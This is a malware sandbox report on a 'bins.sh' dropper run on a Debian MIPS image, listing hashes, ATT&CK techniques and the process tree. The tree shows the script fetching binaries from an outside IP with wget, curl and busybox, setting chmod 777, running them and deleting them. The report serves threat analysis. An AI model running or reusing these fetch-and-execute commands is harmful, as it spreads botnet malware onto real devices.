fb30e0996776502e73ebb30ac11af21a997f69e3e1acc3e92cc02b22dc9a8157

Analysis

max time kernel
95s
max time network
134s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
26/10/2024, 16:52

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General

Target
bins.sh
Size 10KB
Sample241026-vdedmaxdnk
SHA256 fb30e0996776502e73ebb30ac11af21a997f69e3e1acc3e92cc02b22dc9a8157
MD5 2f6a38702bf0b143a444ac08a1a72a89
SHA1 47f93f41937803a4aaca7305eb9aa8216bfde185
SHA512 8e555404d7f73829798b579b21994a1156de7954373c7f5dd0e1cd9073075fc8009cbb5d1c414290a0a67278fdcedb7a26206f086858743e295fb78398621136
SSDEEP 192:xu3r/SrDrWu5BuVPpXI85iCdr/SrDui5BHI85iCqy:xu3r/SrDrWpxpXI85iCdr/SrDuAI85iM
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod
813	chmod
819	chmod
727	chmod
735	chmod
744	chmod
760	chmod
781	chmod
834	chmod
861	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	728	rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	736	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	745	5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	761	5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	782	ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	806	FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	814	MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	820	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	835	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	862	ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 15 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
734	busybox
838	rm
733	curl
830	busybox
817	curl
820	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
821	rm
822	wget
823	curl
731	wget
737	rm
816	wget
736	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
818	busybox
835	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:724
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:729
- /usr/bin/wget
  wget http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:731
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:736
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:737
- /usr/bin/wget
  wget http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:743
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:757
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:764
- /usr/bin/wget
  wget http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:778
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:784
- /usr/bin/wget
  wget http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:802
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:812
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:818
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:820
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:822
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:830
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:835
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:838
- /usr/bin/wget
  wget http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:858
- /bin/chmod
  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:863
- /usr/bin/wget
  wget http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX

Path /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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